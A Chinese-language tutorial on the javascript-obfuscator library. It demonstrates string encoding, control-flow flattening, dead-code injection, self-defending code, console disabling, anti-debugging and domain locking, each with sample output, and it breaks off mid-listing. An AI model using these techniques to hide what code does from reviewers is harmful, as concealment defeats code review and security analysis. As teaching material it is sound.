下面我们以 javascript-obfuscator 为例来介绍一些代码混淆的实现,了解了实现,那么自然我们就对混淆的机理有了更加深刻的认识。

javascript-obfuscator 的官网地址为:https://obfuscator.io/,其官方介绍内容如下:

A free and efficient obfuscator for JavaScript (including ES2017). Make your code harder to copy and prevent people from stealing your work.

它是支持 ES8 的免费、高效的 JavaScript 混淆库,它可以使得你的 JavaScript 代码经过混淆后难以被复制、盗用,混淆后的代码具有和原来的代码一模一样的功能。

怎么使用呢?首先,我们需要安装好 Node.js 12.x 版本及以上,确保可以正常使用 npm 命令,具体的安装方式可以参考:https://setup.scrape.center/nodejs。

接着新建一个文件夹,比如 js-obfuscate,然后进入该文件夹,初始化工作空间:

1
npm init

这里会提示我们输入一些信息,创建一个 package.json 文件,这就完成了项目初始化了。

接下来我们来安装 javascript-obfuscator 这个库:

1
npm i -D javascript-obfuscator

稍等片刻,即可看到本地 js-obfuscate 文件夹下生成了一个 node_modules 文件夹,里面就包含了 javascript-obfuscator 这个库,这就说明安装成功了,文件夹结构如图所示:

image-20210612155500985

接下来我们就可以编写代码来实现一个混淆样例了,如新建一个 main.js 文件,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const code = `
let x = '1' + 1
console.log('x', x)
`;

const options = {
compact: false,
controlFlowFlattening: true,
};

const obfuscator = require("javascript-obfuscator");
function obfuscate(code, options) {
return obfuscator.obfuscate(code, options).getObfuscatedCode();
}
console.log(obfuscate(code, options));

在这里我们定义了两个变量,一个是 code,即需要被混淆的代码,另一个是混淆选项,是一个 Object。接下来我们引入了 javascript-obfuscator 这库,然后定义了一个方法,传入 code 和 options,来获取混淆后的代码,最后控制台输出混淆后的代码。

代码逻辑比较简单,我们来执行一下代码:

1
node main.js

输出结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var _0x53bf = ["log"];
(function (_0x1d84fe, _0x3aeda0) {
var _0x10a5a = function (_0x2f0a52) {
while (--_0x2f0a52) {
_0x1d84fe["push"](_0x1d84fe["shift"]());
}
};
_0x10a5a(++_0x3aeda0);
})(_0x53bf, 0x172);
var _0x480a = function (_0x4341e5, _0x5923b4) {
_0x4341e5 = _0x4341e5 - 0x0;
var _0xb3622e = _0x53bf[_0x4341e5];
return _0xb3622e;
};
let x = "1" + 0x1;
console[_0x480a("0x0")]("x", x);

看到了吧,那么简单的两行代码,被我们混淆成了这个样子,其实这里我们就是设定了一个「控制流平坦化」的选项。整体看来,代码的可读性大大降低,也大大加大了 JavaScript 调试的难度。

好,那么我们来跟着 javascript-obfuscator 走一遍,就能具体知道 JavaScript 混淆到底有多少方法了。

注意:由于这些例子中,调用 javascript-obfuscator 进行混淆的实现是一样的,所以下文的示例只说明 code 和 options 变量的修改,完整代码请自行补全。

代码压缩

这里 javascript-obfuscator 也提供了代码压缩的功能,使用其参数 compact 即可完成 JavaScript 代码的压缩,输出为一行内容。默认是 true,如果定义为 false,则混淆后的代码会分行显示。

示例如下:

1
2
3
4
5
6
7
const code = `
let x = '1' + 1
console.log('x', x)
`;
const options = {
compact: false,
};

这里我们先把代码压缩 compact 选项设置为 false,运行结果如下:

1
2
let x = "1" + 0x1;
console["log"]("x", x);

如果不设置 compact 或把 compact 设置为 true,结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var _0x151c = ["log"];
(function (_0x1ce384, _0x20a7c7) {
var _0x25fc92 = function (_0x188aec) {
while (--_0x188aec) {
_0x1ce384["push"](_0x1ce384["shift"]());
}
};
_0x25fc92(++_0x20a7c7);
})(_0x151c, 0x1b7);
var _0x553e = function (_0x259219, _0x241445) {
_0x259219 = _0x259219 - 0x0;
var _0x56d72d = _0x151c[_0x259219];
return _0x56d72d;
};
let x = "1" + 0x1;
console[_0x553e("0x0")]("x", x);

可以看到单行显示的时候,对变量名进行了进一步的混淆,这里变量的命名都变成了 16 进制形式的字符串,这是因为启用了一些默认压缩和混淆配置导致的。总之我们可以看到代码的可读性相比之前大大降低了。

变量名混淆

变量名混淆可以通过在 javascript-obfuscator 中配置 identifierNamesGenerator 参数实现,我们通过这个参数可以控制变量名混淆的方式,如 hexadecimal 则会替换为 16 进制形式的字符串,在这里我们可以设定如下值:

  • hexadecimal:将变量名替换为 16 进制形式的字符串,如 0xabc123
  • mangled:将变量名替换为普通的简写字符,如 abc 等。

该参数的值默认为 hexadecimal。

我们将该参数修改为 mangled 来试一下:

1
2
3
4
5
6
7
8
const code = `
let hello = '1' + 1
console.log('hello', hello)
`;
const options = {
compact: true,
identifierNamesGenerator: "mangled",
};

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var a = ["hello"];
(function (c, d) {
var e = function (f) {
while (--f) {
c["push"](c["shift"]());
}
};
e(++d);
})(a, 0x9b);
var b = function (c, d) {
c = c - 0x0;
var e = a[c];
return e;
};
let hello = "1" + 0x1;
console["log"](b("0x0"), hello);

可以看到这里的变量命名都变成了 ab 等形式。

如果我们将 identifierNamesGenerator 修改为 hexadecimal 或者不设置,运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var _0x4e98 = ["log", "hello"];
(function (_0x4464de, _0x39de6c) {
var _0xdffdda = function (_0x6a95d5) {
while (--_0x6a95d5) {
_0x4464de["push"](_0x4464de["shift"]());
}
};
_0xdffdda(++_0x39de6c);
})(_0x4e98, 0xc8);
var _0x53cb = function (_0x393bda, _0x8504e7) {
_0x393bda = _0x393bda - 0x0;
var _0x46ab80 = _0x4e98[_0x393bda];
return _0x46ab80;
};
let hello = "1" + 0x1;
console[_0x53cb("0x0")](_0x53cb("0x1"), hello);

可以看到选用了 mangled,其代码体积会更小,但 hexadecimal 其可读性会更低。

另外我们还可以通过设置 identifiersPrefix 参数来控制混淆后的变量前缀,示例如下:

1
2
3
4
5
6
7
const code = `
let hello = '1' + 1
console.log('hello', hello)
`;
const options = {
identifiersPrefix: "germey",
};

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var germey_0x3dea = ["log", "hello"];
(function (_0x348ff3, _0x5330e8) {
var _0x1568b1 = function (_0x4740d8) {
while (--_0x4740d8) {
_0x348ff3["push"](_0x348ff3["shift"]());
}
};
_0x1568b1(++_0x5330e8);
})(germey_0x3dea, 0x94);
var germey_0x30e4 = function (_0x2e8f7c, _0x1066a8) {
_0x2e8f7c = _0x2e8f7c - 0x0;
var _0x5166ba = germey_0x3dea[_0x2e8f7c];
return _0x5166ba;
};
let hello = "1" + 0x1;
console[germey_0x30e4("0x0")](germey_0x30e4("0x1"), hello);

可以看到混淆后的变量前缀加上了我们自定义的字符串 germey。

另外 renameGlobals 这个参数还可以指定是否混淆全局变量和函数名称,默认为 false。示例如下:

1
2
3
4
5
6
7
8
const code = `
var $ = function(id) {
return document.getElementById(id);
};
`;
const options = {
renameGlobals: true,
};

运行结果如下:

1
2
3
var _0x4864b0 = function (_0x5763be) {
return document["getElementById"](_0x5763be);
};

可以看到这里我们声明了一个全局变量 这个变量也被替换了。如果后文用到了这个 $ 对象,可能就会有找不到定义的错误,因此这个参数可能导致代码执行不通。

如果我们不设置 renameGlobals 或者设置为 false,结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var _0x239a = ["getElementById"];
(function (_0x3f45a3, _0x583dfa) {
var _0x2cade2 = function (_0x28479a) {
while (--_0x28479a) {
_0x3f45a3["push"](_0x3f45a3["shift"]());
}
};
_0x2cade2(++_0x583dfa);
})(_0x239a, 0xe1);
var _0x3758 = function (_0x18659d, _0x50c21d) {
_0x18659d = _0x18659d - 0x0;
var _0x531b8d = _0x239a[_0x18659d];
return _0x531b8d;
};
var $ = function (_0x3d8723) {
return document[_0x3758("0x0")](_0x3d8723);
};

可以看到,最后还是有 $ 的声明,其全局名称没有被改变。

字符串混淆

字符串混淆,即将一个字符串声明放到一个数组里面,使之无法被直接搜索到。我们可以通过控制 stringArray 参数来控制,默认为 true。

我们还可以通过 rotateStringArray 参数来控制数组化后结果的的元素顺序,默认为 true。还可以通过 stringArrayEncoding 参数来控制数组的编码形式,默认不开启编码,如果设置为 true 或 base64,则会使用 Base64 编码,如果设置为 rc4,则使用 RC4 编码。另外可以通过 stringArrayThreshold 来控制启用编码的概率,范围 0 到 1,默认 0.8。

示例如下:

1
2
3
4
5
6
7
8
9
const code = `
var a = 'hello world'
`;
const options = {
stringArray: true,
rotateStringArray: true,
stringArrayEncoding: true, // 'base64' 或 'rc4' 或 false
stringArrayThreshold: 1,
};

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
var _0x4215 = ["aGVsbG8gd29ybGQ="];
(function (_0x42bf17, _0x4c348f) {
var _0x328832 = function (_0x355be1) {
while (--_0x355be1) {
_0x42bf17["push"](_0x42bf17["shift"]());
}
};
_0x328832(++_0x4c348f);
})(_0x4215, 0x1da);
var _0x5191 = function (_0x3cf2ba, _0x1917d8) {
_0x3cf2ba = _0x3cf2ba - 0x0;
var _0x1f93f0 = _0x4215[_0x3cf2ba];
if (_0x5191["LqbVDH"] === undefined) {
(function () {
var _0x5096b2;
try {
var _0x282db1 = Function(
"return\x20(function()\x20" +
"{}.constructor(\x22return\x20this\x22)(\x20)" +
");"
);
_0x5096b2 = _0x282db1();
} catch (_0x2acb9c) {
_0x5096b2 = window;
}
var _0x388c14 =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
_0x5096b2["atob"] ||
(_0x5096b2["atob"] = function (_0x4cc27c) {
var _0x2af4ae = String(_0x4cc27c)["replace"](/=+$/, "");
for (
var _0x21400b = 0x0,
_0x3f4e2e,
_0x5b193b,
_0x233381 = 0x0,
_0x3dccf7 = "";
(_0x5b193b = _0x2af4ae["charAt"](_0x233381++));
~_0x5b193b &&
((_0x3f4e2e =
_0x21400b % 0x4 ? _0x3f4e2e * 0x40 + _0x5b193b : _0x5b193b),
_0x21400b++ % 0x4)
? (_0x3dccf7 += String["fromCharCode"](
0xff & (_0x3f4e2e >> ((-0x2 * _0x21400b) & 0x6))
))
: 0x0
) {
_0x5b193b = _0x388c14["indexOf"](_0x5b193b);
}
return _0x3dccf7;
});
})();
_0x5191["DuIurT"] = function (_0x51888e) {
var _0x29801f = atob(_0x51888e);
var _0x561e62 = [];
for (
var _0x5dd788 = 0x0, _0x1a8b73 = _0x29801f["length"];
_0x5dd788 < _0x1a8b73;
_0x5dd788++
) {
_0x561e62 +=
"%" +
("00" + _0x29801f["charCodeAt"](_0x5dd788)["toString"](0x10))[
"slice"
](-0x2);
}
return decodeURIComponent(_0x561e62);
};
_0x5191["mgoBRd"] = {};
_0x5191["LqbVDH"] = !![];
}
var _0x1741f0 = _0x5191["mgoBRd"][_0x3cf2ba];
if (_0x1741f0 === undefined) {
_0x1f93f0 = _0x5191["DuIurT"](_0x1f93f0);
_0x5191["mgoBRd"][_0x3cf2ba] = _0x1f93f0;
} else {
_0x1f93f0 = _0x1741f0;
}
return _0x1f93f0;
};
var a = _0x5191("0x0");

可以看到这里就把字符串进行了 Base64 编码,我们再也无法通过查找的方式找到字符串的位置了。

如果将 stringArray 设置为 false 的话,输出就是这样:

1
var a = "hello\x20world";

字符串就仍然是明文显示的,没有被编码。

另外我们还可以使用 unicodeEscapeSequence 这个参数对字符串进行 Unicode 转码,使之更加难以辨认,示例如下:

1
2
3
4
5
6
7
const code = `
var a = 'hello world'
`;
const options = {
compact: false,
unicodeEscapeSequence: true,
};

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var _0x5c0d = ["\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64"];
(function (_0x54cc9c, _0x57a3b2) {
var _0xf833cf = function (_0x3cd8c6) {
while (--_0x3cd8c6) {
_0x54cc9c["push"](_0x54cc9c["shift"]());
}
};
_0xf833cf(++_0x57a3b2);
})(_0x5c0d, 0x17d);
var _0x28e8 = function (_0x3fd645, _0x2cf5e7) {
_0x3fd645 = _0x3fd645 - 0x0;
var _0x298a20 = _0x5c0d[_0x3fd645];
return _0x298a20;
};
var a = _0x28e8("0x0");

可以看到,这里字符串被数字化和 Unicode 化,非常难以辨认。

在很多 JavaScript 逆向的过程中,一些关键的字符串可能会作为切入点来查找加密入口。用了这种混淆之后,如果有人想通过全局搜索的方式搜索 hello 这样的字符串找加密入口,也没法搜到了。

代码自我保护

我们可以通过设置 selfDefending 参数来开启代码自我保护功能。开启之后,混淆后的 JavaScript 会以强制一行形式显示,如果我们将混淆后的代码进行格式化或者重命名,该段代码将无法执行。

示例如下:

1
2
3
4
5
6
const code = `
console.log('hello world')
`;
const options = {
selfDefending: true,
};

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
var _0x26da = ["log", "hello\x20world"];
(function (_0x190327, _0x57c2c0) {
var _0x577762 = function (_0xc9dabb) {
while (--_0xc9dabb) {
_0x190327["push"](_0x190327["shift"]());
}
};
var _0x35976e = function () {
var _0x16b3fe = {
data: { key: "cookie", value: "timeout" },
setCookie: function (_0x2d52d5, _0x16feda, _0x57cadf, _0x56056f) {
_0x56056f = _0x56056f || {};
var _0x5b6dc3 = _0x16feda + "=" + _0x57cadf;
var _0x333ced = 0x0;
for (
var _0x333ced = 0x0, _0x19ae36 = _0x2d52d5["length"];
_0x333ced < _0x19ae36;
_0x333ced++
) {
var _0x409587 = _0x2d52d5[_0x333ced];
_0x5b6dc3 += ";\x20" + _0x409587;
var _0x4aa006 = _0x2d52d5[_0x409587];
_0x2d52d5["push"](_0x4aa006);
_0x19ae36 = _0x2d52d5["length"];
if (_0x4aa006 !== !![]) {
_0x5b6dc3 += "=" + _0x4aa006;
}
}
_0x56056f["cookie"] = _0x5b6dc3;
},
removeCookie: function () {
return "dev";
},
getCookie: function (_0x30c497, _0x51923d) {
_0x30c497 =
_0x30c497 ||
function (_0x4b7e18) {
return _0x4b7e18;
};
var _0x557e06 = _0x30c497(
new RegExp(
"(?:^|;\x20)" +
_0x51923d["replace"](/([.$?*|{}()[]\/+^])/g, "$1") +
"=([^;]*)"
)
);
var _0x817646 = function (_0xf3fae7, _0x5d8208) {
_0xf3fae7(++_0x5d8208);
};
_0x817646(_0x577762, _0x57c2c0);
return _0x557e06 ? decodeURIComponent(_0x557e06[0x1]) : undefined;
},
};
var _0x4673cd = function () {
var _0x4c6c5c = new RegExp(
"\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}"
);
return _0x4c6c5c["test"](_0x16b3fe["removeCookie"]["toString"]());
};
_0x16b3fe["updateCookie"] = _0x4673cd;
var _0x5baa80 = "";
var _0x1faf19 = _0x16b3fe["updateCookie"]();
if (!_0x1faf19) {
_0x16b3fe["setCookie"](["*"], "counter", 0x1);
} else if (_0x1faf19) {
_0x5baa80 = _0x16b3fe["getCookie"](null, "counter");
} else {
_0x16b3fe["removeCookie"]();
}
};
_0x35976e();
})(_0x26da, 0x140);
var _0x4391 = function (_0x1b42d8, _0x57edc8) {
_0x1b42d8 = _0x1b42d8 - 0x0;
var _0x2fbeca = _0x26da[_0x1b42d8];
return _0x2fbeca;
};
var _0x197926 = (function () {
var _0x10598f = !![];
return function (_0xffa3b3, _0x7a40f9) {
var _0x48e571 = _0x10598f
? function () {
if (_0x7a40f9) {
var _0x2194b5 = _0x7a40f9["apply"](_0xffa3b3, arguments);
_0x7a40f9 = null;
return _0x2194b5;
}
}
: function () {};
_0x10598f = ![];
return _0x48e571;
};
})();
var _0x2c6fd7 = _0x197926(this, function () {
var _0x4828bb = function () {
return "\x64\x65\x76";
},
_0x35c3bc = function () {
return "\x77\x69\x6e\x64\x6f\x77";
};
var _0x456070 = function () {
var _0x4576a4 = new RegExp(
"\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d"
);
return !_0x4576a4["\x74\x65\x73\x74"](
_0x4828bb["\x74\x6f\x53\x74\x72\x69\x6e\x67"]()
);
};
var _0x3fde69 = function () {
var _0xabb6f4 = new RegExp(
"\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b"
);
return _0xabb6f4["\x74\x65\x73\x74"](
_0x35c3bc["\x74\x6f\x53\x74\x72\x69\x6e\x67"]()
);
};
var _0x2d9a50 = function (_0x58fdb4) {
var _0x2a6361 = ~-0x1 >> (0x1 + (0xff % 0x0));
if (_0x58fdb4["\x69\x6e\x64\x65\x78\x4f\x66"]("\x69" === _0x2a6361)) {
_0xc388c5(_0x58fdb4);
}
};
var _0xc388c5 = function (_0x2073d6) {
var _0x6bb49f = ~-0x4 >> (0x1 + (0xff % 0x0));
if (
_0x2073d6["\x69\x6e\x64\x65\x78\x4f\x66"]((!![] + "")[0x3]) !== _0x6bb49f
) {
_0x2d9a50(_0x2073d6);
}
};
if (!_0x456070()) {
if (!_0x3fde69()) {
_0x2d9a50("\x69\x6e\x64\u0435\x78\x4f\x66");
} else {
_0x2d9a50("\x69\x6e\x64\x65\x78\x4f\x66");
}
} else {
_0x2d9a50("\x69\x6e\x64\u0435\x78\x4f\x66");
}
});
_0x2c6fd7();
console[_0x4391("0x0")](_0x4391("0x1"));

如果我们将上述代码放到控制台,它的执行结果和之前是一模一样的,没有任何问题。

如果我们将其进行格式化,然后贴到到浏览器控制台里面,浏览器会直接卡死无法运行。这样如果有人对代码进行了格式化,就无法正常对代码进行运行和调试,从而起到了保护作用。

控制流平坦化

控制流平坦化其实就是将代码的执行逻辑混淆,使其变得复杂难读。其基本思想是将一些逻辑处理块都统一加上一个前驱逻辑块,每个逻辑块都由前驱逻辑块进行条件判断和分发,构成一个个闭环逻辑,导致整个执行逻辑十分复杂难读。

比如说这里有一段示例代码:

1
2
3
console.log(c);
console.log(a);
console.log(b);

代码逻辑一目了然,依次在控制台输出了 c、a、b 三个变量的值,但如果把这段代码进行控制流平坦化处理后,代码就会变成这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const s = "3|1|2".split("|");
let x = 0;
while (true) {
switch (s[x++]) {
case "1":
console.log(a);
continue;
case "2":
console.log(b);
continue;
case "3":
console.log(c);
continue;
}
break;
}

可以看到,混淆后的代码首先声明了一个变量 s,它的结果是一个列表,其实是 ["3", "1", "2"],然后下面通过 switch 语句对 s 中的元素进行了判断,每个 case 都加上了各自的代码逻辑。通过这样的处理,一些连续的执行逻辑就被打破了,代码被修改为一个 switch 语句,原本我们可以一眼看出的逻辑是控制台先输出 c,然后才是 a、b,但是现在我们必须要结合 switch 的判断条件和对应 case 的内容进行判断,我们很难再一眼每条语句的执行顺序了,这就大大降低了代码的可读性。

在 javascript-obfuscator 中我们通过 controlFlowFlattening 变量可以控制是否开启控制流平坦化,示例如下:

1
2
3
4
const options = {
compact: false,
controlFlowFlattening: true,
};

使用控制流平坦化可以使得执行逻辑更加复杂难读,目前非常多的前端混淆都会加上这个选项。但启用控制流平坦化之后,代码的执行时间会变长,最长达 1.5 倍之多。

另外我们还能使用 controlFlowFlatteningThreshold 这个参数来控制比例,取值范围是 0 到 1,默认 0.75,如果设置为 0,那相当于 controlFlowFlattening 设置为 false,即不开启控制流扁平化 。

无用代码注入

无用代码即不会被执行的代码或对上下文没有任何影响的代码,注入之后可以对现有的 JavaScript 代码的阅读形成干扰。我们可以使用 deadCodeInjection 参数开启这个选项,默认为 false。

比如这里有一段代码:

1
2
3
4
5
6
7
8
9
10
const a = function () {
console.log("hello world");
};

const b = function () {
console.log("nice to meet you");
};

a();
b();

这里就声明了方法 a 和 b,然后依次进行调用,分别输出两句话。

但经过无用代码注入处理之后,代码就会变成类似这样的结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const _0x16c18d = function () {
if (!![[]]) {
console.log("hello world");
} else {
console.log("this");
console.log("is");
console.log("dead");
console.log("code");
}
};
const _0x1f7292 = function () {
if ("xmv2nOdfy2N".charAt(4) !== String.fromCharCode(110)) {
console.log("this");
console.log("is");
console.log("dead");
console.log("code");
} else {
console.log("nice to meet you");
}
};

_0x16c18d();
_0x1f7292();

可以看到,每个方法内部都增加了额外的 if else 语句,其中 if 的判断条件还是一个表达式,其结果是 true 还是 false 我们还不太一眼能看出来,比如说 _0x1f7292 这个方法,它的 if 判断条件是:

1
"xmv2nOdfy2N".charAt(4) !== String.fromCharCode(110)

在不等号前面其实是从字符串中取出指定位置的字符,不等号后面则调用了 fromCharCode 方法来根据 ascii 码转换得到一个字符,然后比较两个字符的结果是否是不一样的。前者经过我们推算可以知道结果是 n,但对于后者,多数情况下我们还得去查一下 ascii 码表才能知道其结果也是 n,最后两个结果是相同的,所以整个表达式的结果是 false,所以 if 后面跟的逻辑实际上就是不会被执行到的无用代码,但这些代码对我们阅读代码起到了一定的干扰作用。

因此,这种混淆方式通过混入一些特殊的判断条件并加入一些不会被执行的代码,可以对代码起到一定的混淆干扰作用。

在 javascript-obfuscator 中,我们可以通过 deadCodeInjection 参数控制无用代码的注入,配置如下:

1
2
3
4
const options = {
compact: false,
deadCodeInjection: true,
};

另外我们还可以通过设置 deadCodeInjectionThreshold 参数来控制无用代码注入的比例,取值 0 到 1,默认是 0.4。

对象键名替换

如果是一个对象,可以使用 transformObjectKeys 来对对象的键值进行替换,示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const code = `
(function(){
var object = {
foo: 'test1',
bar: {
baz: 'test2'
}
};
})();
`;
const options = {
compact: false,
transformObjectKeys: true,
};

输出结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var _0x7a5d = ["bar", "test2", "test1"];
(function (_0x59fec5, _0x2e4fac) {
var _0x231e7a = function (_0x46f33e) {
while (--_0x46f33e) {
_0x59fec5["push"](_0x59fec5["shift"]());
}
};
_0x231e7a(++_0x2e4fac);
})(_0x7a5d, 0x167);
var _0x3bc4 = function (_0x309ad3, _0x22d5ac) {
_0x309ad3 = _0x309ad3 - 0x0;
var _0x3a034e = _0x7a5d[_0x309ad3];
return _0x3a034e;
};
(function () {
var _0x9f1fd1 = {};
_0x9f1fd1["foo"] = _0x3bc4("0x0");
_0x9f1fd1[_0x3bc4("0x1")] = {};
_0x9f1fd1[_0x3bc4("0x1")]["baz"] = _0x3bc4("0x2");
})();

可以看到,Object 的变量名被替换为了特殊的变量,使得可读性变差,这样我们就不好直接通过变量名进行搜寻了,这也可以起到一定的防护作用。

禁用控制台输出

可以使用 disableConsoleOutput 来禁用掉 console.log 输出功能,加大调试难度,示例如下:

1
2
3
4
5
6
const code = `
console.log('hello world')
`;
const options = {
disableConsoleOutput: true,
};

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
var _0x3a39 = [
"debug",
"info",
"error",
"exception",
"trace",
"hello\x20world",
"apply",
"{}.constructor(\x22return\x20this\x22)(\x20)",
"console",
"log",
"warn",
];
(function (_0x2a157a, _0x5d9d3b) {
var _0x488e2c = function (_0x5bcb73) {
while (--_0x5bcb73) {
_0x2a157a["push"](_0x2a157a["shift"]());
}
};
_0x488e2c(++_0x5d9d3b);
})(_0x3a39, 0x10e);
var _0x5bff = function (_0x43bdfc, _0x52e4c6) {
_0x43bdfc = _0x43bdfc - 0x0;
var _0xb67384 = _0x3a39[_0x43bdfc];
return _0xb67384;
};
var _0x349b01 = (function () {
var _0x1f484b = !![];
return function (_0x5efe0d, _0x33db62) {
var _0x20bcd2 = _0x1f484b
? function () {
if (_0x33db62) {
var _0x77054c = _0x33db62[_0x5bff("0x0")](_0x5efe0d, arguments);
_0x33db62 = null;
return _0x77054c;
}
}
: function () {};
_0x1f484b = ![];
return _0x20bcd2;
};
})();
var _0x19f538 = _0x349b01(this, function () {
var _0x7ab6e4 = function () {};
var _0x157bff;
try {
var _0x5e672c = Function(
"return\x20(function()\x20" + _0x5bff("0x1") + ");"
);
_0x157bff = _0x5e672c();
} catch (_0x11028d) {
_0x157bff = window;
}
if (!_0x157bff[_0x5bff("0x2")]) {
_0x157bff[_0x5bff("0x2")] = (function (_0x7ab6e4) {
var _0x5a8d9e = {};
_0x5a8d9e[_0x5bff("0x3")] = _0x7ab6e4;
_0x5a8d9e[_0x5bff("0x4")] = _0x7ab6e4;
_0x5a8d9e[_0x5bff("0x5")] = _0x7ab6e4;
_0x5a8d9e[_0x5bff("0x6")] = _0x7ab6e4;
_0x5a8d9e[_0x5bff("0x7")] = _0x7ab6e4;
_0x5a8d9e[_0x5bff("0x8")] = _0x7ab6e4;
_0x5a8d9e[_0x5bff("0x9")] = _0x7ab6e4;
return _0x5a8d9e;
})(_0x7ab6e4);
} else {
_0x157bff[_0x5bff("0x2")][_0x5bff("0x3")] = _0x7ab6e4;
_0x157bff[_0x5bff("0x2")][_0x5bff("0x4")] = _0x7ab6e4;
_0x157bff[_0x5bff("0x2")]["debug"] = _0x7ab6e4;
_0x157bff[_0x5bff("0x2")][_0x5bff("0x6")] = _0x7ab6e4;
_0x157bff[_0x5bff("0x2")][_0x5bff("0x7")] = _0x7ab6e4;
_0x157bff[_0x5bff("0x2")][_0x5bff("0x8")] = _0x7ab6e4;
_0x157bff[_0x5bff("0x2")][_0x5bff("0x9")] = _0x7ab6e4;
}
});
_0x19f538();
console[_0x5bff("0x3")](_0x5bff("0xa"));

此时,我们如果执行这个代码,发现是没有任何输出的,这里实际上就是将 console 的一些功能禁用了。

调试保护

我们知道,在 JavaScript 代码中如果加入 debugger 这个关键字,那么在执行到该位置的时候控制它就会进入断点调试模式。如果在代码多个位置都加入 debugger 这个关键字,或者定义某个逻辑来反复执行 debugger,那就会不断进入断点调试模式,原本的代码无法就无法顺畅地执行了。这个过程可以称为调试保护,即通过反复执行 debugger 来使得原来的代码无法顺畅执行。

其效果类似于执行了如下代码:

1
2
3
setInterval(() => {
debugger;
}, 3000);

如果我们把这段代码粘贴到控制台,它就会反复地执行 debugger 语句进入断点调试模式,从而干扰正常的调试流程。

在 javascript-obfuscator 中可以使用 debugProtection 来启用调试保护机制,还可以使用 debugProtectionInterval 来启用无限 Debug ,使得代码在调试过程中会不断进入断点模式,无法顺畅执行,配置如下:

1
2
3
4
const options = {
debugProtection: true,
debugProtectionInterval: true,
};

混淆后的代码会不断跳到 debugger 代码的位置,使得整个代码无法顺畅执行,对 JavaScript 代码的调试形成一定的干扰。

域名锁定

我们还可以通过控制 domainLock 来控制 JavaScript 代码只能在特定域名下运行,这样就可以降低代码被模拟或盗用的风险。

示例如下:

1
2
3
4
5
6
const code = `
console.log('hello world')
`;
const options = {
domainLock: ["cuiqingcai.com"],
};

这里我们使用了 domainLock 指定了一个域名叫做 cuiqingcai.com,也就是设置了一个域名白名单,混淆后的代码结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
var _0x3203 = [
"apply",
"return\x20(function()\x20",
"{}.constructor(\x22return\x20this\x22)(\x20)",
"item",
"attribute",
"value",
"replace",
"length",
"charCodeAt",
"log",
"hello\x20world",
];
(function (_0x2ed22c, _0x3ad370) {
var _0x49dc54 = function (_0x53a786) {
while (--_0x53a786) {
_0x2ed22c["push"](_0x2ed22c["shift"]());
}
};
_0x49dc54(++_0x3ad370);
})(_0x3203, 0x155);
var _0x5b38 = function (_0xd7780b, _0x19c0f2) {
_0xd7780b = _0xd7780b - 0x0;
var _0x2d2f44 = _0x3203[_0xd7780b];
return _0x2d2f44;
};
var _0x485919 = (function () {
var _0x5cf798 = !![];
return function (_0xd1fa29, _0x2ed646) {
var _0x56abf = _0x5cf798
? function () {
if (_0x2ed646) {
var _0x33af63 = _0x2ed646[_0x5b38("0x0")](_0xd1fa29, arguments);
_0x2ed646 = null;
return _0x33af63;
}
}
: function () {};
_0x5cf798 = ![];
return _0x56abf;
};
})();
var _0x67dcc8 = _0x485919(this, function () {
var _0x276a31;
try {
var _0x5c8be2 = Function(_0x5b38("0x1") + _0x5b38("0x2") + ");");
_0x276a31 = _0x5c8be2();
} catch (_0x5f1c00) {
_0x276a31 = window;
}
